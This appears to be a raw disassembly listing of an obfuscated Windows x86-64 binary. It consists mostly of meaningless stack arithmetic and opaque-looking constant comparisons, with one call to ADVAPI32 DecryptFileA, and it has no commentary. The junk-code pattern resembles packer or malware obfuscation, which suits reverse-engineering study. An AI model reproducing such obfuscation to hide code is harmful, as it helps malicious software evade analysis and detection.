mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
shl eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ff4]
add eax, 0xd6
mov dword [rsp + 0x3ff4], eax
mov eax, dword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
xor eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, word [rsp + 0xd48]
sub eax, 0x1e43
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
and eax, ecx
mov word [rsp + 0xea4], ax
jmp 0x14000ca63
movsx eax, word [rsp + 0xd48]
imul eax, eax, 0x7fbb
movsx ecx, word [rsp + 0xc48]
cmp eax, ecx
jle 0x140174ed0
mov eax, dword [rsp + 0x3fdc]
mov dword [rsp + 0x4000], eax
mov dword [rsp + 0x4004], 0xa60f
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fc0], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea8], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
sar eax, cl
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xd48]
xor eax, 0x221b
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xa3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14a]
sub eax, ecx
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xa3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3b0]
mov qword [rsp + 0xa3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14a]
or eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, word [rsp + 0xc48]
add eax, 0x59b5
mov word [rsp + 0xd48], ax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov eax, dword [rsp + 0x3f94]
sub eax, 0x6a
mov dword [rsp + 0x3f94], eax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea4]
sar eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
cmp dword [rsp + 0x3f94], 0x3792
ja 0x14000cdf8
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14a]
and eax, ecx
mov byte [rsp + 0x14b], al
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x4008], eax
cmp dword [rsp + 0x4008], 0
je 0x14000d363
cmp dword [rsp + 0x4008], 0x368ffee4
je 0x140174d9a
jmp 0x140174dee
cmp dword [rsp + 0x3fb4], 0x6b0c
jbe 0x14000d6a1
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3e8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fdc]
movzx ecx, al
mov eax, dword [rsp + 0x4000]
shl eax, cl
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
add eax, 0x390f
mov word [rsp + 0xc48], ax
mov eax, dword [rsp + 0x3fb4]
sub eax, 0x50
mov dword [rsp + 0x3fb4], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc48]
add eax, 0x5996
mov word [rsp + 0xd48], ax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
sar eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3b8]
mov qword [rsp + 0xa3f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov word [rsp + 0xea4], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
jmp 0x14000d363
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov dword [rsp + 0x400c], eax
mov dword [rsp + 0x4010], 0x79ab
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa360]
mov rdx, qword [rsp + 0xa3c0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14000d722
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x14b], al
mov edx, 0xba
mov rcx, qword [rsp + 0xa3f8]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x4014], eax
jmp 0x14000d763
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0xeac], ax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0xa408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa408]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov dword [rsp + 0x401c], 0x68c8
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xd48]
and eax, ecx
mov word [rsp + 0xc48], ax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x4018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
shl eax, cl
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xa410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa410]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
xor ecx, eax
mov eax, ecx
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
shl eax, cl
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xeac]
xor eax, ecx
mov word [rsp + 0xc48], ax
mov eax, dword [rsp + 0x3fe8]
sub eax, 4
mov dword [rsp + 0x3fe8], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xa418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa418]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [rsp + 0x14c], al
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xa420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa420]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
xor ecx, eax
mov eax, ecx
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xd48]
sar eax, cl
mov word [rsp + 0xeac], ax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
cmp dword [rsp + 0x3fe8], 0xe293
ja 0x14000d7be
lea rax, [rsp + 0x3ffc]
mov qword [rsp + 0xa428], rax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
cmp dword [rsp + 0x3fec], 0xbbaa
jb 0x14000e2db
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov eax, dword [0x14019d790]
mov rcx, qword [rsp + 0xa3b8]
mov qword [rsp + 0xa430], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa430]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
sar eax, cl
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x3fdc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3ffc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
